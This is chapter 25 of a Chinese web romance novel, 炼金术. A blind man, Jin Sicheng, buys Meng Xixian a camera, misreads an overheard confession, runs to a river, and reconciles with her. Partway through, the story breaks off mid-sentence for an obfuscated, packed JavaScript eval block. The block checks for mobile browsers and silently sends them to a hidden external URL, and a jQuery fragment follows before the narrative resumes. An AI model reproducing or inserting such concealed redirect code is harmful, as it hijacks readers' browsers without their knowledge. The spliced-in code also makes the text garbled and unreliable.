25. 第 25 章

作品:《炼金术

    金司承的手指在一排金属和塑料外壳上滑过。


    导购员看着眼前这位衣着讲究但始终戴着墨镜的顾客,有点拿不准路数。


    “先生,您看的这款是入门全画幅,性价比很高,套机镜头日常够用;这款呢,中端机型,对焦快,连拍强,适合抓拍;再往上就是专业级了,不过价格也上去了。”


    金司承点点头,心里有数了。他摸向旁边一台更沉实的机身,“这个?”


    “哎哟,先生好眼光,这是当家旗舰款!全镁合金机身,三防,超强对焦,每秒连拍15张。就是贵点,单机身就顶刚才那个套机了。”


    金司承的手指仔细感受着机身的每一个棱角。


    他记得孟希贤描述她那台老相机的样子,边缘都有些磨亮了。


    他脑子里飞快地过着她有可能拍的那些东西:街角晒太阳的老人,巷子里疯跑的孩子,医院窗台上顽强的小绿植……她需要一台拍久了不累的机器,还得能应付各种突发状况。


    他不再犹豫,“就要这个。配一个常用焦段的变焦镜头,要画质好点的。”


    导购员愣了一下,随即反应过来是大客户,声音都热情了八度:“24-70F2.8画质没得说,就是沉!24-105F4呢,焦段更实用,轻便不少,光圈小点,而且带防抖!您是想选哪个?”


    孟希贤经常背着器材跑一天,轻便点好。金司承很快做了决定:“24-105,麻烦帮我装好。”


    他从口袋里摸出钱包,点出数目,递给导购。


    钱包里剩下的钱不多了,但他没在意。这钱是他这段时间跟着那帮创业的年轻人熬出来的,一手一脚自己赚的。


    导购员手脚麻利地开票、装箱,嘴里说着注意事项。金司承听着,心思却早飞回了那个小小的出租屋。


    他能想象孟希贤看到这台新相机的样子:先是吃惊地瞪大眼睛,然后会像被烫到一样缩回手,连声说“不行不行太贵了这怎么能要”,说不定还会有点生气。


    但他有办法,他会说:“工具好用才能拍好照片,算我这段时间白吃白住的补偿?”


    他知道她最后一定会收下,小心地摸着新机身,像摸什么宝贝,但嘴上还在念叨“太浪费了”。


    光是想想她那副又心疼又忍不住欢喜的样子,金司承就觉得这段时间的腰酸背痛值了。


    他甚至开始琢磨,待会要不要顺便带点她爱吃的糖炒栗子回去?


    抱着沉甸甸的相机盒,金司承拒绝了导购员帮他叫车的提议。他已经可以熟练地用盲杖点着路,坐上公交车。


    他一路小心护着怀里的盒子,离那个“家”越来越近,心口那块地方就越来越热乎。


    终于走到熟悉的楼道口,他甚至能闻到楼下炒菜的油烟味。


    他摸索着上楼,脚步在快到家门口时放轻了。他想给里面的人一个惊喜。


    可就在他掏出钥匙的前一秒,门里传来男男女女的对话。


    “我很认真的,你看着我。这么久了,我发现自己心里放不下的还是你。我不想再错过了,我们在一起,好不好?我会照顾你,我们一起努力,将来……”


    金司承听到杨谦的声音,全身的血液似乎冻住了。他怀里那个代表着汗水和期待的盒子,一下子变得像个笑话。


    紧接着,他听到了孟希贤的声音。她没有半点犹豫就给出了答复,“嗯,好啊。”


    刹那间,金司承脑子里一片空白。杨谦后面又说了什么“真的?太好了!我太高兴了!”之类的激动话语,都成了模糊的背景噪音。


    手里的相机盒子掉在门口的脚垫上。金司承根本没意识到是自己松了手。


    他只觉得胸口憋得快要炸开,连带着那点刚冒出芽的隐秘欢喜,一起碎了。


    他猛地转身,跌跌撞撞地扑向楼梯。


    “谁?”门里传来杨谦警觉的声音,然后是脚步声朝门口走来。


    金司承什么都顾不上了。他用盲杖拼命向下点着台阶,只想快点逃离这个地方。


    慌乱和失落让他失去了平时的谨慎,他一脚踏空,失去平衡,重重地摔在楼梯拐角的平台上。


    “金司承?”孟希贤惊恐的声音在楼道里响起,然后是急促下楼的脚步声。


    金司承脑子里只有离开这个念头,他不想让孟希贤看见自己狼狈的样子。


    他忍着痛,挣扎着爬起来,摸索着找到助视镜胡乱戴上,也顾不上找盲杖了,扶着冰冷的墙壁就冲出单元门。


    “金司承,你要去哪,等等我!”孟希贤的声音在后面追着,很着急。


    他却充耳不闻,只是拼命往前走。


    他不知道前方通向哪里,但能察觉到脚下的路从硬实的水泥变成了松软的泥土,然后是光滑的鹅卵石。


    空气里有了水气和青苔的味道,河风吹在脸上,他混沌的脑子稍微清醒了些。


    他喘着粗气,停下脚步,对着有水流动的方向站着,像根被遗弃的木头。


    “金司承!”孟希贤气喘吁吁地追了上来,脚步声停在离他几步远的地方,“你刚才摔着没有?让我看看。”


    “你别过来”,金司承低吼一声,像被踩了尾巴的困兽,只剩下虚张声势的抗拒。


    他不想让孟希贤靠近,一点也不想。听到她的声音,他就会想起刚才门里的对话。那像刀子一样剜着他。


    “好好好,我不过去!”孟希贤立刻停下,声音放软,“你刚才是不是回家了?在门口听到什么了?”


    金司承的身体绷得更紧,他没有回答,只是把头扭得更偏。


    孟希贤知道他是误会了。


    她急忙解释:“你听我说,不是你想的那样。刚才杨谦来找我,说他喜欢上了一个女孩,特别紧张。他怕表白搞砸了,所以来找我练习,让我扮演那个女孩,给他点反应。我刚才那声‘好’,是配合他演戏,看他怎么应对呢!”


    金司承心中一片混乱。


    理智告诉他,这解释听起来似乎真的有可能;可情感上,那巨大的刺痛感还盘踞在胸口。


    他怕这是她的安慰,是谎言。


    他不敢信。


    万一呢,万一她就是答应了杨谦?那他算什么,一个赖在别人家里的累赘瞎子罢了。


    他依旧沉默着,像一块拒绝融化的冰。


    他艰难地转过身,摸索着,沿着河滩的石头,朝远离孟希贤的方向,一步一步挪去。


    孟希贤看着他越来越远的背影,心里又急又痛又委屈。他为什么就是不信?解释得这么清楚了!


    她看着他深一脚浅一脚踩在湿滑的石头上,背影在昏暗的光线下显得那么脆弱,随时可能摔倒掉进水里。她想起上次湖边的事,心一下子提到了嗓子眼。


    她咬了咬牙,心一横,故意脚下一滑,整个人摔倒在浅水里,“哎呀!”


    这声音果然像开关一样,掐断了金司承逃跑的动作。


    他立刻转身,“孟希贤,你干嘛啊?掉水里了?”


    他凭着声音的方向扑过来,完全忘了自己身在何处,会不会也摔跤。他摸索着伸出手,想去拉她,“孟希贤你在哪里,抓住我!”


    就在这时,孟希贤从水里站了起来。她带着一身水汽,张开双臂,用力抱住了金司承。


    金司承猝不及防,整个人僵住了。


    “金司承,我和杨谦什么都没有,你怎么不相信我呢?”孟希贤的声音带着哭腔,手臂收得更紧,仿佛要把自己所有的真诚都传递给他,“我怕你像上次那样出事,你别走了好不好?”


    金司承没有动,任由孟希贤抱着,湿冷的衣服传递着她的体温和颤抖。


    他的理智慢慢回笼,恐惧感逐渐被不敢置信


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298580|181785||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的暖意所取代。


    他迟疑着抬起手臂。那双曾经在公司里指挥若定的手,此刻带着近乎笨拙的颤抖,回抱住了孟希贤湿透的后背。


    他的下巴碰着她的头顶,那里有河水冰凉的气息,也有她头发上洗发水的淡淡香味。


    他越抱越紧,像是溺水的人终于抓住了唯一的浮木。


    他哑着嗓子,带着压抑不住的哽咽,“孟希贤,说话算话,你别抛下我。”


    这句话像耗尽了金司承最后的气力。


    他整个人卸了劲,身体的大部分重量都靠在了孟希贤身上,只剩下手臂还固执地环着她。


    孟希贤感觉到他身体的放松,悬着的心终于落回了肚子里。


    巨大的酸楚涌上来,她眼眶止不住地发热。


    她抬手擦掉金司承脸上的水痕,告诉他:“不会的,不会抛下你的,傻子……我们回家。”


    ——————————


    回家后,孟希贤迅速洗了个热水澡,吹干头发。


    她坐在沙发上,脑子里不可控地闪过刚才在河边的一些画面。


    现在,两人算是什么关系呢?


    她听着浴室里的水声,犹豫着要不要等下金司承出来再说个明白。


    过了一会,浴室门开了,热气混着沐浴露的味道涌出来。


    金司承摸索着门框走出来,他只穿了条宽松的家居裤,上身光着。


    他扯了条毛巾擦头,孟希贤的目光一下子被他抓住了。


    昏暗的光线像给他轮廓镀了层柔和的边,水痕在皮肤上微微反光。


    他的肩膀很宽,腰腹绷得紧,手臂上的肌肉线条流畅又有力,整个人是带着韧劲的好看。


    她知道自己不该这么直勾勾地盯着人家光膀子看,可眼神就是挪不开。


    金司承穿好上衣,眉头皱了下,“孟希贤?”


    孟希贤赶紧应了一声,像是被抓包了。她下意识想说点别的,又觉得太刻意。


    金司承到她旁边坐下,“你在看什么?”


    孟希贤的脸一下子热了起来。她舔了舔有点干的嘴唇,小声道:“看你啊。”


    金司承眉梢挑了一下,“看我?”


    “嗯”,孟希贤抱着靠枕的手指抠了抠布料,“看你……长得好看呗。”


    这话一说出来,她自己都觉得忒大胆了点。随即又觉得轻松了,反正他看不见自己脸红的怂样。


    金司承笑了一声,“好看?我都不知道我现在什么样儿。”


    孟希贤跟着也含糊地笑了一声,眼神不知道该往哪放,干脆盯着自己膝盖上的睡裤花纹。


    “那你呢?”金司承忽然问。


    孟希贤一愣:“我什么?”


    “我问你长什么样子”,金司承侧过身,面朝着她,“我还不知道。”


    这句话像根针,一下子戳破了刚才那点暧昧的泡泡。


    孟希贤的心一沉,想起了十年前的那个下午


    教室里面,少年那句带着轻蔑的话语,“同学,下次偷拍我,记得用好一点的镜头。”


    那感觉,又羞又窘,像被人当众扒光了衣服,只想找个地缝钻进去。


    这么多年过去,她以为自己早不在意了,可这句“我还不知道”配上他那张好看的脸,一下子就把她深埋的自卑全勾出来了。


    她脱口而出,带着自我保护般的生硬:“我就普通样儿,不好看。”


    她不想再待在这儿了,站起来就想溜回自己房间。


    “孟希贤!”金司承反应也快,左手伸过来,一把抓住了她的手腕。他的手指很有力,带着刚洗完澡的温热和潮湿,她根本挣不开。


    “你干嘛?”孟希贤吓了一跳,手腕被攥得有点痛,更多的是被强行留下的慌乱。


    “别动”,金司承的声音沉了下来,“让我摸一下。”